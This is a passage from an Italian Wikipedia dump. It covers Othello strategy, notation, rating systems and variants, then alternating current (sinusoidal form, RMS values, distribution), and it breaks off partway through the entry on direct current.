al finale le mosse si riducano e la mobilit\u00e0 acquisti ancor pi\u00f9 valore.\nRiflettendo sulle regole si nota che una mossa \u00e8 disponibile per un giocatore quando vi sono caselle vuote adiacenti a pedine avversarie, a loro volta adiacenti a pedine del giocatore. Conseguentemente il possesso del centro (del gioco, non del tavoliere) e la minimizzazione delle pedine periferiche \u00e8 un buon parametro per la massimizzazione della mobilit\u00e0. In questo contesto avere le pedine compatte e in numero non eccessivo aiuta ulteriormente. Statisticamente avere met\u00e0 delle pedine dell'avversario \u00e8 considerato ottimale.Da notare quindi che la tattica intuitiva di massimizzare le pedine non solo \u00e8 errata, ma a volte pu\u00f2 anche essere peggiorativa, perch\u00e9 avere tante pedine pu\u00f2 rendere pi\u00f9 difficile avere un alto numero di mosse.\nIl modo pi\u00f9 semplice per disporre di tante mosse \u00e8 quello di minimizzare il numero delle proprie pedine, massimizzando quelle dell'avversario, a patto che le nostre poche pedine vengano mantenute compatte e centrali. Infatti, pi\u00f9 pedine instabili avversarie sono presenti sull'othelliera, maggiore sar\u00e0 il numero di mosse disponibili.\nNell'othelliera 9 viene mostrata un'ipotetica posizione in cui il bianco dispone del centro del gioco e il nero ha un gran numero di pedine periferiche: in questa situazione il nero ha 2 sole possibili mosse, mentre il bianco ne ha 24, portando ad un vantaggio strategico enorme del bianco. Questo vantaggio \u00e8 dovuto al fatto che il nero ha un gran numero di pedine periferiche, ovvero confinanti con caselle vuote, che il bianco pu\u00f2 utilizzare come 'ponte' per le proprie mosse, mentre il bianco possiede saldamente il centro del gioco e due sole delle sue pedine confinano con caselle vuote.\nNell'othelliera 10 viene mostrata una situazione estrema, in cui si dimostra quanto sia illusorio il vantaggio di avere pi\u00f9 pedine (instabili) dell'avversario. Il bianco infatti vincer\u00e0 questa partita per 40-24, nonostante a sole 4 mosse dalla fine parta da una posizione di incredibile svantaggio numerico, complice il fatto che giocher\u00e0 le ultime 4 mosse costringendo al pass il nero.\nPer ottimizzare la mobilit\u00e0 \u00e8 quindi necessario cercare di avere meno pedine \"periferiche\" dell'avversario. Per questo motivo alcune mosse sono particolarmente forti e vengono chiamate \"mosse ideali\". Una mossa ideale capovolge una sola pedina, caratterizzata dal fatto di essere completamente circondata da altre pedine (di qualsiasi colore). In questo modo viene minimizzato il numero di pedine periferiche a cui la mossa contribuisce. Spesso vengono considerate mosse ideali anche mosse che girano pi\u00f9 di una pedina, purch\u00e9 tutte circondate da altre pedine. In othelliera 11 \u00e8 mostrato un esempio di mossa ideale per il bianco, perch\u00e9 gira la sola pedina in e5, che \u00e8 completamente interna allo schema di gioco.\nNel prosieguo della partita, come gi\u00e0 visto, il tavoliere tender\u00e0 a riempirsi e di conseguenza gli spazi disponibili per le mosse a comprimersi. In questa situazione il numero di mosse per i giocatori tender\u00e0 a dimunuire, chi avr\u00e0 pi\u00f9 mobilit\u00e0 potr\u00e0 essere avvantaggiato dal fatto di riuscire a costringere l'avversario a una mossa sconveniente. Ricordiamo infatti che le regole dell'Othello vietano di passare volontariamente, quindi un giocatore che abbia solo mosse sconvenienti sar\u00e0 obbligato comunque a sceglierne una. Nell'othelliera 12 un esempio di una situazione a ridosso del finale di partita, in cui il bianco \u00e8 costretto a cedere un angolo a causa della sua ridotta mobilit\u00e0. Le uniche mosse disponibili al bianco sono infatti g2, g7, h2 e h7, mosse che consentono al nero, immediatamente dopo, la conquista dell'angolo. Questa scarsa mobilit\u00e0 \u00e8 frutto del gran numero di pedine periferiche del bianco, a discapito di quelle del nero.\nLegato al concetto di mobilit\u00e0 vi \u00e8 quello di \"tempo di gioco\". Guadagnare un tempo di gioco significa giocare una mossa in pi\u00f9 rispetto all'avversario, in una certa zona del tavoliere. Spesso ci\u00f2 accade quando un giocatore opta per una mossa che per qualche motivo impedisce una mossa avversaria, riducendone di fatto la mobilit\u00e0 \"utile\", oppure, come si vedr\u00e0 in seguito, giocando una mossa pi\u00f9 dell'avversario su un determinato lato. Guadagnare un tempo di gioco incrementa la mobilit\u00e0 e conseguentemente fornisce un grande vantaggio strategico.\nSbilanciamenti.\nQuando un colore prende possesso di un bordo senza che sia stato preso l'angolo, si dice che si comincia la presa dei bordi, fase tipica del centropartita. In questo caso per \"bordo\" si intende sempre una formazione di pedine adiacenti al bordo della othelliera, e con gli angoli adiacenti vuoti.\nPrendere i bordi \u00e8 una delle tattiche pi\u00f9 delicate e non verr\u00e0 coperta tutta in questo articolo. Il giocatore in genere decide di prendere un bordo perch\u00e9 non ha altre mosse che lo aiutino nel costruire una formazione di pedine compatta e centrale, e giocare una mossa sul bordo pu\u00f2 consentirgli di conquistare un \"tempo di gioco\". Ciononostante, statisticamente nel finale qualsiasi bordo pesa negativamente sul risultato e il vantaggio immediato in termini di mobilit\u00e0 che pu\u00f2 dare la presa di un bordo pu\u00f2 rivelarsi uno svantaggio in termini di risultato finale.\nIn altre parole, spesso giocare su un bordo consente al giocatore di recuperare uno svantaggio in termini di mobilit\u00e0.\nSe consideriamo la presa di un bordo un \"guadagno di una mossa\" e quindi un aiuto temporaneo alla mobilit\u00e0, e considerando che le mosse si alternino sul bordo tra i due giocatori, \u00e8 importante sottolineare che un bordo con un numero di pedine dispari avr\u00e0 visto un guadagno di mobilit\u00e0 da parte di un giocatore (che avr\u00e0 giocato su quel lato una volta di pi\u00f9), mentre un bordo con un numero pari potr\u00e0 aver portato ben due mosse di guadagno oppure nessuna (avendo i due giocatori posto pari numero di dischi su quel bordo).\nUn bordo si dice \"bilanciato\" quando \u00e8 simmetrico rispetto all'asse centrale. Un bordo si dice \"sbilanciato\" quando non \u00e8 simmetrico e in particolare va a coprire una delle caselle C. Nell'othelliera 13 il lato nord ed il lato sud sono sbilanciati per il bianco (con un 5 e un 3+1), mentre il lato est e il lato ovest sono bilanciati per il nero (con un 6 e un 4).\nI lati bilanciati sono considerati nettamente pi\u00f9 forti, in particolar modo il 6 \u00e8 statisticamente la formazione pi\u00f9 stabile. Le formazioni sbilanciate, invece, sono considerate deboli perch\u00e9 spesso sono attaccabili. Come gi\u00e0 indicato, se un lato sbilanciato \u00e8 composto di un solo colore, avr\u00e0 un numero dispari di pedine e quindi avr\u00e0 portato un vantaggio di mobilit\u00e0 immediato al possessore del bordo, che avr\u00e0 quindi barattato un guadagno immediato con una posizione di debolezza e quindi di possibile svantaggio nel finale.\nL'attacco ad una formazione sbilanciata avviene in genere tramite un sacrificio: il giocatore che attacca cede un angolo, ma ne ottiene un vantaggio superiore immediatamente dopo. Gli esempi di attacco pi\u00f9 semplici sono quelli sui cinque.\nIn othelliera 14 viene mostrata una posizione in cui vi sono quattro formazioni da cinque pedine.\nIn linea di massima tutti i bordi sbilanciati possono essere in qualche modo attaccabili, e pi\u00f9 \u00e8 lo sbilanciamento, pi\u00f9 \u00e8 la debolezza del bordo. \nNel caso della othelliera 15 vediamo altre posizioni in cui possono avvenire attacchi.\nParit\u00e0.\nLa parit\u00e0 si basa sull'idea che, al termine della partita, le pedine girate in un particolare spazio siano tendenzialmente superiori in numero per il giocatore che ha avuto modo di posizionare l'ultima pedina. In questo senso \u00e8 conveniente giocare in uno spazio dispari, ovvero una zona di othelliera con un numero dispari di caselle vuote, rispetto ad uno spazio pari. Si dice che un giocatore \"ha la parit\u00e0\" quando tutti gli spazi rimasti del tavoliere in cui pu\u00f2 giocare l'avversario sono pari.\nDato che il numero di caselle dell'othelliera \u00e8 pari e il primo giocatore a posizionare una pedina \u00e8 il nero, se non vi sono pass il bianco \"ha la parit\u00e0\" naturalmente. Tuttavia, il nero pu\u00f2 conquistare la parit\u00e0 creando uno spazio dispari in cui il bianco non pu\u00f2 entrare, e giocando nel resto del tavoliere.\nNella othelliera 16 le caselle vuote complessive sono dispari, e il turno \u00e8 al bianco, ma lo spazio in basso a destra, dispari e inaccessibile dal bianco, garantisce che la parit\u00e0 ora sia del nero. Il bianco infatti pu\u00f2 solo giocare in spazi pari, nei quali il nero potr\u00e0 sempre giocare come ultimo, guadagnando preziose pedine per il finale di partita.\nIl fatto che il bianco abbia la parit\u00e0 naturalmente, costituisce una \"asimmetria\" nelle tattiche di gioco. In generale il bianco tende infatti a mantenere un gioco pi\u00f9 conservativo, proiettato verso un finale pi\u00f9 tranquillo in cui far valere la parit\u00e0. Per farlo tender\u00e0 a terminare la partita senza spazi dove uno solo dei colori possa giocare, senza consentire ad un colore il possesso di una o due diagonali, senza lati con situazioni di sbilanciamento multiplo.\nIl nero, viceversa, tende in genere ad un gioco pi\u00f9 aggressivo e quindi pi\u00f9 basato sulla mobilit\u00e0. In questa maniera pu\u00f2 costringere fin dal centro-partita il bianco a cedere vantaggi posizionali o a prendere sbilanciamenti. Cercher\u00e0 quindi di arrivare ad un finale con sbilanciamenti e attacchi che rendano difficile e poco influente il calcolo della parit\u00e0 nel finale.\nNaturalmente queste tattiche sono puramente indicative e capita spesso che bianco e nero si invertano i ruoli tattici, sulla base di situazioni o dello stile dei giocatori coinvolti.\nLa parit\u00e0 \u00e8 apparentemente semplice, ma in genere \u00e8 un concetto davvero dominato solo dai grandi giocatori, in quanto molto complesso in situazioni di finali con bordi sbilanciati e misti.\nNotazione.\nPer documentare le partite, in particolar modo quelle dei tornei ufficiali, viene utilizzato in tutto il mondo un sistema di notazione standard. La notazione riflette il fatto che, secondo le regole di Othello, nessuna pedina viene mai mossa, il referto vuoto \u00e8 un quindi quadrato 8x8 rappresentante una othelliera vuota, tranne per le quattro caselle centrali. Le mosse sono numerate da 1 a 60 e il numero viene scritto nel quadratino corrispondente alla casella in cui \u00e8 stata posta la pedina per giocare la mossa. I due giocatori, avendo una visuale opposta dell'othelliera, avranno due referti speculari. Non viene indicato il \"pass\" (il giocatore il cui avversario ha passato continuer\u00e0 ad inserire le mosse senza saltare alcun numero). Nel caso la partita finisca prima delle 60 mosse, verranno lasciate caselle non scritte.\nI referti vengono poi consegnati per una verifica di correttezza delle partite, per l'inserimento nei database ufficiali e per il calcolo del rating.\n\u00c8 possibile scaricare un referto vuoto dal sito di Othello News.\nL'\"Othello\" in Italia.\nIn Italia, la diffusione del gioco \u00e8 affidata alla Federazione Nazionale Gioco Othello e Reversi (FNGO) che cura il collegamento con gli appassionati e organizza tornei e manifestazioni. In particolare la Federazione organizza e/o coordina i tre principali eventi nazionali, ovvero\nIl vincitore di ognuno dei suddetti eventi rappresenta l'Italia ai successivi Campionati del Mondo, organizzati ogni anno dalla Federazione Mondiale (World Othello Federation).\nIl milanese Michele Borassi \u00e8 stato il primo italiano a conquistare il titolo di campione del mondo (Oslo, novembre 2008). Nella stessa occasione la nazionale italiana, composta da Michele Borassi, Donato Barnaba e Roberto Sperandio, \u00e8 giunta seconda alle spalle del Giappone.\nNel 2010 ai mondiali tenutisi a novembre a Roma Michele Borassi \u00e8 giunto secondo.\nIn collaborazione con i Comitati Regionali, la Federazione gestisce anche una serie di tornei minori in diverse citt\u00e0 italiane (Roma, Napoli, Genova, Padova, Udine e Ferrara sono solo alcuni tra gli esempi pi\u00f9 illustri), presiede agli eventi ludici nazionali ed organizza corsi gratuiti, al fine di avvicinare il gioco a neofiti ed appassionati.\nAlbo d'oro campionato italiano.\nAlbo d'oro dei giocatori vincitori del campionato italiano master:\nAlbo d'oro Gran Maestro.\nAlbo d'oro dei vincitori del Gran Maestro italiano, torneo a inviti riservato ai top player della classifica rating:\nIl rating.\nLa FNGO ha adottato un sistema di rating derivato dal sistema ELO, ma con profonde correzioni, proposto e creato da Biagio Privitera nei primi anni 80.\nSuccessivamente a difetti del sistema (soprattutto inflattivi), Beppi Menozzi e Donato Barnaba hanno proposto nel 1997 un sistema alternativo, un sistema Glicko puro, anch'esso un sistema derivato da ELO, ma con maggior stabilit\u00e0 dovuta alla presenza del parametro devianza legato ad ogni giocatore.\nIl rating viene calcolato in Italia solo per le partite ufficiali, non vengono quindi conteggiate amichevoli o partite non organizzate dalla federazione, che rispettino alcuni vincoli (tempo minimo per giocatore).\nContestualmente a quella modifica, per limitare l'eccessivo numero di Maestri dovuti all'inflazione del primo sistema, Beppi Menozzi e Francesco Marconi hanno proposto un sistema di calcolo dei DAN. Il sistema \u00e8 trasversale rispetto al ranking numerico, in quanto non prende in considerazione in alcun modo le singole partite ma solo il posizionamento ottenuto nell'arco di 5 anni da un giocatore nei principali tornei internazionali. Il sistema utilizza punti che vengono convertiti in DAN attraverso una scala logaritmica. Al momento solo Michele Borassi \u00e8 riuscito ad ottenere 6 DAN.\nAltre federazioni utilizzano diversi sistemi di rating ed esiste anche una classifica gestita a livello internazionale.\n\"Othello\" nel mondo.\nA livello internazionale numerose federazioni organizzano annualmente campionati e tornei, e presentano una squadra ai campionati del mondo.\nI campionati del mondo si tengono ogni anno in una nazione diversa, senza interruzione dal 1977 e raccolgono decine di squadre nazionali con la limitazione di un massimo di 3 giocatori per squadra principale e 1 rappresentante femminile.\nLa World Othello Federation organizza tutti gli eventi mondiali e si occupa di gestire rating globali e mantenere gli albi d'oro.\nSoftware.\nEsiste molto software gratuito anche di elevatissimo livello, sia per giocare, sia per studiare Othello.\nMolti programmi gratuiti sono scaricabili dal sito della federazione francese che ne mantiene una lista aggiornata.\nTra i programmi gratuiti pi\u00f9 noti vi sono:\nWZebra - programma per Windows di Gunnar Andersson, estremamente forte e molto usato per allenamento.\nCassio - programma per Macintosh di St\u00e9phane Nicolet, anch'esso molto forte.\nHappy End - programma per Windows di Beppi Menozzi, specifico per allenamento sui finali di partita.\nSu un computer desktop il gioco dell'Othello 8x8 non \u00e8 risolvibile, quindi nessun programma al momento \u00e8 in grado di garantire che le mosse suggerite siano perfette. Tipicamente \u00e8 comunque possibile valutare partite di Othello con funzioni empiriche e statistiche molto precise. Programmi come quelli elencati in precedenza possono calcolare finali perfetti fino a circa 25-32 mosse, a seconda della complessit\u00e0 della posizione, e valutare il centropartita a profondit\u00e0 (ply) 22-28, con margine di errore vicino a zero.\nIl miglior programma di Othello attualmente esistente \u00e8 SAIO dell'italiano Benedetto Romano.\nSfruttando una libreria di aperture di oltre 18gb riesce a fornire valori sostanzialmente sicuri, disponibile a pagamento per tutte le piattaforme, \u00e8 un programma di livello professionale, consigliato principalmente ai maestri, ma offre molte funzioni di gioco e studio utili a tutti.\nOnline.\nPer la sua semplicit\u00e0 e immediatezza Othello/Reversi \u00e8 sempre stato molto presente come gioco di riflessione online. Al momento esistono numerosi sistemi completamente gratuiti per giocare contro avversari di tutti i livelli e di tutto il mondo:\nSoluzione del gioco.\nOthello \u00e8 un gioco risolto su scacchiere da 4x4 e 6x6, con il secondo giocatore (il bianco) che vince giocando in maniera perfetta.\nAnche se non \u00e8 stato risolto matematicamente, la versione 8x8 \u00e8 stata di fatto risolta. L'analisi al computer mostra migliaia di linee che finiscono in pareggio e che risultano plausibilmente linee perfette, anche se nessuna di esse \u00e8 mai stata provata.\nOthello 4x4.\nL'albero del gioco Othello 4x4 \u00e8 molto piccolo ed \u00e8 stato facilmente risolto, con una vittoria per il secondo giocatore, bianco, di 11-3.\nOthello 6x6.\nOthello 6x6 ha un albero di mosse di circa mille miliardi di mosse, ed \u00e8 stato risolto in un centinaio di ore da parecchi programmi, conducendo ad una vittoria del secondo giocatore, bianco, per 4 pedine, ovvero 16-20.\nOthello 6x6 \u00e8 comunque giocato su alcuni siti, come ItsYourTurn, e risulta essere un gioco estremamente tattico.\nOthello 8x8.\nLa dimensione dell'albero di mosse di Othello 8x8 \u00e8 stimata essere 1054 nodi, e il numero di posizioni legali \u00e8 stimato essere almeno 1028. Anche se non \u00e8 stato ancora risolto matematicamente, una soluzione potrebbe essere trovata usando calcolo intensivo con programmi top su hardware parallelo o tramite calcolo distribuito.\nAlcuni programmi di altissimo livello sono andati avanti espandendo i loro libri di apertura per molti anni ormai, ottenendo chiare indicazioni statistiche dei risultati di vittoria o pareggio per molte specifiche linee di gioco.\nSulla base di tale statistiche, appare ormai probabile che l'apertura diagonale e perpendicolare conducano, a gioco perfetto, a pareggi, mentre l'apertura parallela sia una vittoria per il nero. Sembra anche che l'albero di possibili linee di pareggio dell'apertura diagonale sia pi\u00f9 grande di quello dell'apertura perpendicolare.\nVarianti.\nAlcuni siti e alcuni programmi propongono varianti delle regole ufficiali di Othello, anche se non risulta per alcuna di queste varianti l'esistenza di una federazione o di qual si voglia torneo ufficiale o classifica.\nReversi.\nIl tavoliere inizialmente \u00e8 vuoto e i giocatori dispongono le pedine nelle 4 caselle centrali a turno. Ci\u00f2 conduce, a meno di riflessioni, a due diverse posizioni di partenza. La posizione alternativa a quella ufficiale dettata dalle regole di Othello appare in realt\u00e0 sconveniente per il nero, che tender\u00e0 quindi ad evitarla, riconducendosi alla posizione di partenza tradizionale.\nDimensioni diverse.\nCome gi\u00e0 visto in precedenza nulla vieta di utilizzare othelliere di diverse dimensioni. Il gioco tende ad assumere caratteristiche fortemente tattiche (ovvero a favorire lo studio delle sequenze di mosse anzich\u00e9 della posizione delle pedine) man mano che la dimensione cala. Con othelliere pi\u00f9 grandi della tradizionale il gioco tende invece ad essere pi\u00f9 strategico (ovvero favorire concetti posizionali come la conquista del centro e la compattezza).\nForme diverse.\nCos\u00ec come dimensioni diverse, alcuni programmi propongono anche Othello su othelliere di forma diverse: rettangolari, ottagonali, di forme irregolari o con buchi. Nonostante la forma possa variare moltissimo, ci\u00f2 non cambia sostanzialmente i principi tattici e strategici di gioco.\nAnti-reversi o Othello a perdere.\nIl giocatore vincente \u00e8 quello che ha meno pedine alla fine della partita. La caratteristica delle posizioni deboli in Othello \u00e8 che esse possono venire attaccate. Giocando a perdere, per\u00f2, un giocatore non ha interesse ad attaccare una posizione debole. Allo stesso modo, le regioni di pedine stabili devono essere fortemente evitate. Per forzare la presa di un angolo e delle conseguenti pedine stabili, per\u00f2, \u00e8 necessario non pi\u00f9 limitarsi al controllo delle caselle X, ma anche delle caselle C adiacenti. Per farlo \u00e8 indispensabile il controllo della mobilit\u00e0, che resta un fattore chiave come nell'Othello tradizionale, mantenendo quindi un numero di pedine periferiche limitato.\nOthello infinito.\nNon vi sono bordi nell'othelliera e il gioco termina al termine delle pedine. Certamente una variante interessante, perch\u00e9 nonostante venga perduta tutta la tattica legata ai bordi, le ultime decisive mosse dipendono da alcune pedine fondamentali, la cui importanza per\u00f2 non dipende dalla loro posizione sulla othelliera ma dalla posizione relativa rispetto al gruppo delle restanti pedine.\nUn'altra variante infinita pu\u00f2 essere giocata su una scacchiera toroidale.\nPass volontario, mosse legali senza girare.\nIl pass volontario (ovvero pass anche se ci sono mosse disponibili) rende il gioco poco interessante perch\u00e9 il giocatore pu\u00f2 evitare di muovere in caso di posizione negativa. Allo stesso modo poter disporre di mosse legali anche senza che venga girata alcuna pedina, renderebbe la creazione di blocchi di pedine stabili molto facile e renderebbe impossibile forzare l'avversario a fare mosse negative.\nAltre varianti.\nCon pedine potenziate: l'aggiunta di pedine \"non girabili\", ovvero con lo stesso colore da entrambi i lati\nCon possibilit\u00e0 di blocco: il divieto momentaneo imposto all'avversario di giocare in una certa casella o di girare una certa pedina\nSu othelliera esagonale\nSu othelliera tridimensionale\nQueste varianti hanno sostanziale scarso impatto su tattica e strategia."}
{"id": "26472", "revid": "1529788", "url": "https://it.wikipedia.org/wiki?curid=26472", "title": "Corrente alternata", "text": "Corrente alternata (CA o AC dall'inglese: \"Alternating Current\"), in elettrotecnica, \u00e8 un tipo di corrente elettrica nella quale il flusso di elettroni inverte la propria direzione continuativamente nel tempo. A differenza della corrente continua (rappresentata in rosso nella figura) in cui il flusso degli elettroni \u00e8 unidirezionale, in corrente alternata il flusso di elettroni inverte la propria direzione, con un'alternanza che avviene con frequenza fissa (tipicamente 50 Hz o 60 Hz).\nL'inversione di polarit\u00e0 per\u00f2 non avviene in modo repentino ma con una variazione progressiva secondo un andamento chiamato sinusoidale, nel quale il valore di corrente (e quindi di tensione) parte da zero e gradualmente aumenta in un determinato verso, raggiunge il suo valore massimo per poi diminuire fino a zero e riprendere nel verso opposto col medesimo andamento, quindi il ciclo si ripete. Riportando su un grafico i valori assunti dalla grandezza elettrica nel tempo si ottiene una sinusoide, rappresentata in verde nella figura a destra, da cui il termine sinusoidale. Le caratteristiche di variazione progressiva sopracitate derivano direttamente dalla struttura fisica dei generatori elettrici rotanti, che producono l'energia per l'attraversamento di campi magnetici rotanti.\nStoria.\nAlle origini dell'impiego industriale dell'energia elettrica nel XIX secolo fu utilizzata la corrente continua, che offriva il vantaggio di potere essere accumulata in batterie, ma con l'avvento della corrente alternata ad opera dello scienziato Nikola Tesla il mondo fu rivoluzionato nuovamente. L'efficienza di questo nuovo tipo di corrente permise di diminuire drasticamente le perdite energetiche a grandi distanze grazie all'aumento della tensione elettrica che consentiva di trasmettere elevate potenze elettriche ad alta tensione e bassa corrente riducendo drasticamente le perdite per dissipazione sulla linea e quindi lo spessore del conduttore utilizzato per il trasporto, rispetto alla corrente continua di Edison. \nFattore fondamentale per la affermazione della corrente alternata fu la sua facilit\u00e0 di \"trasformazione\" (modifica) della differenza di potenziale (tensione elettrica). La corrente pu\u00f2 essere trasportata su lunghe distanze con tensioni molto elevate con eccellenti rendimenti e poche dispersioni; quindi possono, con trasformatori statici, strutturalmente semplici ed efficienti, essere ridotte a tensioni minime per la distribuzione minuta di utilizzo. La trasformazione della corrente continua a diverse tensioni \u00e8 meno efficiente e molto pi\u00f9 complessa.\nInoltre i motori elettrici in corrente alternata sono pi\u00f9 affidabili ed efficienti di quelli in continua.\nReti di distribuzione della corrente alternata.\nLa distribuzione elettrica \u00e8 l'ultima fase nel processo di consegna dell'elettricit\u00e0 all'utente finale dopo la produzione e la trasmissione, solitamente utilizzando tensioni pi\u00f9 elevate per la trasmissione, ma mantenendo la stessa frequenza.\nAttualmente nel mondo l'energia elettrica alternata \u00e8 distribuita in due frequenze, 50\u00a0Hz (Europa, Asia, Africa) e 60\u00a0Hz (America, parte del Giappone), ed inoltre a diverse tensioni (vedi standard elettrici nel mondo). La frequenza della corrente alternata \u00e8 determinata dal regime di rotazione standard dei generatori. Le reti a frequenza diversa non possono essere interconnesse tra loro, e di norma riguardano territori, o campi di produzione-utilizzo, tra loro separati.\nIn Europa l'energia elettrica viene distribuita sotto forma di corrente alternata sinusoidale a frequenza costante di 50 Hz. Tale valore pu\u00f2 risentire di picchi di consumo nella rete elettrica (nel qual caso tende ad essere pi\u00f9 basso), o di sovraproduzione (diventando di frequenza maggiore); dal momento che tali variazioni di frequenza possono condizionare negativamente il funzionamento degli apparecchi collegati - o guastarli - ci sono appositi sistemi che vengono attivati per cercare di mantenere comunque la frequenza il pi\u00f9 vicino possibile al valore nominale, pur in presenza di eccessivi sbilanciamenti tra produzione e consumi.\nFunzionamento.\nL'utilizzo della corrente alternata deriva dal fatto che:\nConversione tra corrente continua e alternata.\nQuasi tutti gli apparecchi utilizzatori elettronici funzionano in corrente continua ma questa pu\u00f2 essere ottenuta, dalla corrente alternata, mediante un semplice \"raddrizzatore\".\nPer contro dalla corrente continua \u00e8 possibile ottenere corrente elettrica alternata, generata in opportuni parametri di frequenza, forma d'onda e tensione mediante dispositivi elettronici detti \"inverter\" per il fatto di produrre effetti inversi al raddrizzatore. \nGli inverter tradizionalmente costituiti da apparati elettronici discreti (on/off) hanno difficolt\u00e0 a riprodurre la perfetta e continua onda sinusoidale, ma producono facilmente solo onde quadre, che a potenze significative inducono fenomeni parassiti di frequenze spurie, dispersioni di energia e rumorosit\u00e0, che sono inefficienti e dannosi per gli apparati. Sono quindi necessarie aggiunte di modulazioni complesse che avvicinino l'onda alla forma sinusoidale, che \u00e8 funzionalmente ottimale.\nL'inverter \u00e8 un componente fondamentale di un impianto fotovoltaico connesso alla rete di distribuzione. Infatti i moduli fotovoltaici producono corrente continua, e per immettere in rete tutta o parte della produzione elettrica risultante, deve essere opportunamente convertita in corrente alternata e sincronizzata a quella della rete, per contribuire alla cosiddetta generazione distribuita.\nRegime sinusoidale.\nL'elettricit\u00e0 comunemente distribuita e utilizzata in elettrotecnica ha una forma d'onda sinusoidale perch\u00e9 tale andamento deriva direttamente dal modo di operare degli alternatori e dalle leggi dell'induzione elettromagnetica. Dunque la forza elettromotrice prodotta da un alternatore ha la forma:\ndove formula_2 \u00e8 il valore massimo della forza elettromotrice cio\u00e8 l'ampiezza dell'oscillazione, formula_3 \u00e8 la pulsazione, legata al periodo \"T\" e alla frequenza formula_4:\nLa corrente alternata deve avere la stessa forma:\nUna grandezza sinusoidale ha valore medio nullo su un periodo \"T\". Per questo motivo la grandezza misurabile \u00e8 il suo valore efficace o effettivo inteso come il valore quadratico medio:\ndalla quale si ottiene che la corrente efficace formula_9, indicato come formula_10 nella letturatura inglese (\"rms\" sta per \"root mean square\" che si traduce, appunto, in \"valore quadratico medio\"), \u00e8 legata al suo valore massimo formula_11:\nPer la tensione formula_13, ovvero formula_14 come indicato nella letteratura inglese, si ha:\nLa tensione efficace formula_14 permette di scrivere il modulo della potenza complessa come\ncon un'espressione simile a quella (formula_18) che si scriverebbe in regime costante (chiamato anche \"corrente continua\"). \nConsiderando quindi un bipolo rispetto al quale tensione e corrente siano perfettamente in fase (un bipolo quindi puramente resistivo) si pu\u00f2 affermare che la tensione e la corrente efficace rappresentano, \"numericamente\", i valori di tensione e corrente che, in regime costante, dissiperebbero per effetto Joule una potenza equivalente alla potenza media dissipata in regime sinusoidale dallo stesso bipolo resistivo sottoposto a tensioni e correnti sinusoidali di ampiezza, rispettivamente, formula_19.\nNel grafico a lato, viene raffigurata la forma della sinusoide effettiva, che \u00e8 indicata dalla linea rossa.\nPer esempio, la normale tensione elettrica domestica monofase ha formula_14 = formula_13 = 230 V, per cui si ha una tensione di picco formula_22 = formula_23 = 325,27 V, questo valore \u00e8 ricavabile moltiplicando la tensione efficace (valore nominale della rete elettrica) per formula_24 (approssimabile a 1,41); mentre, la tensione picco-picco formula_25 = formula_26 = 650,54 V si ottiene moltiplicando il valore della tensione efficace per formula_27 (approssimabile a 2,83).\nQuesti valori sono importanti per verificare la compatibilit\u00e0/capacit\u00e0 di un isolante o di un dispositivo (componente elettronico) nel supportare tali tensioni.\nMetodo simbolico.\nIl metodo simbolico \u00e8 il metodo usato in pratica quando si ha a che fare con grandezze sinusoidali, perch\u00e9 \u00e8 immediato e ha la caratteristica di formalizzare le leggi dei circuiti in corrente alternata, in analogia a quelle gi\u00e0 viste per i circuiti in corrente continua.\nLe grandezze fisiche espresse con il metodo simbolico sono numeri complessi che hanno per\u00f2 una frequenza medesima: in effetti a livello pratico le grandezze con cui si ha a che fare sono isofrequenziali. Ricordando i numeri complessi, una grandezza pu\u00f2 esprimersi algebricamente come:\ndove formula_29 \u00e8 il modulo del numero complesso e formula_30 dove formula_31 \u00e8 detto argomento o anomalia, nel nostro caso \u00e8 la fase. Grazie a ci\u00f2 possiamo esprimere lo stesso numero complesso come:\nUsando la Formula di Eulero, possiamo esprimere lo stesso numero complesso in forma esponenziale:\nGrazie a questo formalismo una grandezza sinusoidale si pu\u00f2 esprimere simbolicamente come:\ndove formula_36 sono le ampiezza come specificato sopra e dove non si tiene conto della fase individuale.\nFacciamo un esempio del solo circuito puramente resistivo soggetto a tensione sinusoidale:\nAttraverso la resistenza il generatore fa passare una corrente alternata pari a:\nIn definitiva grazie all'uso della notazione simbolica:\nla relazione tra corrente e tensione rimane analoga alla Legge di Ohm in corrente continua.\nMisura della tensione in corrente alternata.\nMolti strumenti di misura, tra cui i multimetri pi\u00f9 economici, sono costruiti per calcolare il valore efficace (in inglese \"RMS\") di una tensione sinusoidale raddrizzata misurandone il valore medio o il valore massimo: l'indicazione \u00e8 corretta solo se il segnale ha forma d'onda perfettamente sinusoidale, mentre \u00e8 errata tanto pi\u00f9 il segnale \u00e8 distorto cio\u00e8 ricco di armoniche (per esempio si allontana molto anche solo se al segnale sinusoidale \u00e8 sovrapposto uno continuo). \nGli strumenti che misurano il vero valore efficace sono contraddistinti dalla sigla \"true RMS\"."}
{"id": "26473", "revid": "212348", "url": "https://it.wikipedia.org/wiki?curid=26473", "title": "Corrente continua", "text": "In elettrotecnica la corrente continua (CC o DC, dall'inglese: \"Direct Current\") \u00e8 un tipo di corrente elettrica caratterizzata da un flusso di elettroni di direzione costante nel tempo.\nDescrizione.\nIn una corrente continua gli elettroni fluiscono sempre nello stesso senso all'interno del circuito, quindi circoleranno sempre nello stesso verso.\nSimbologia.\nIn molti dispositivi la sigla per indicare la corrente continua \u00e8 DC (\"Direct Current\"), oppure si utilizza il simbolo di una linea continua (\u2014) con tre linee pi\u00f9 corte (---) sottostanti, per la corrente alternata si utilizza invece AC (\"Alternating Current\") o il simbolo (~).\nCaratteristiche.\nIn un sistema in corrente continua, a differenza di uno in alternata, \u00e8 molto importante rispettare il verso della corrente, ovvero la polarit\u00e0. Esistono infatti nelle batterie un polo \"positivo\" e uno \"negativo\", che devono essere correttamente collegati al carico. Per esempio, un motore in corrente continua, se alimentato al contrario ruota in senso inverso, a differenza di un motore in corrente alternata monofase. Molti circuiti elettronici, se alimentati erroneamente, possono guastarsi, in particolare se non sono protetti da un diodo antinversione.\nProduzione e conversione.\nLa corrente continua pu\u00f2 essere prodotta non solo con una dinamo, ma anche tramite un alternatore e quindi a partire da una corrente alternata (CA) con, a seguire, un processo di raddrizzamento, effettuato con diodi o ponti raddrizzatori. In realt\u00e0 questi dispositivi eliminano la componente negativa della corrente alternata, producendo una corrente unidirezionale pulsante, ovvero composta idealmente da una corrente alternata sovrapposta ad una continua oppure raddrizzano le semionde negative riportandole a positive, ottenendo cos\u00ec, un segnale positivo ma di ampiezza variabile nel tempo.\nUn condensatore posto a valle dei diodi raddrizzatori provvede a livellare il segnale, fornendo una corrente quanto pi\u00f9 possibile vicina a un valore continuo (vedi circuito RC).\nViceversa, la conversione di una corrente continua in una alternata \u00e8 molto pi\u00f9 complessa, in particolare perch\u00e9 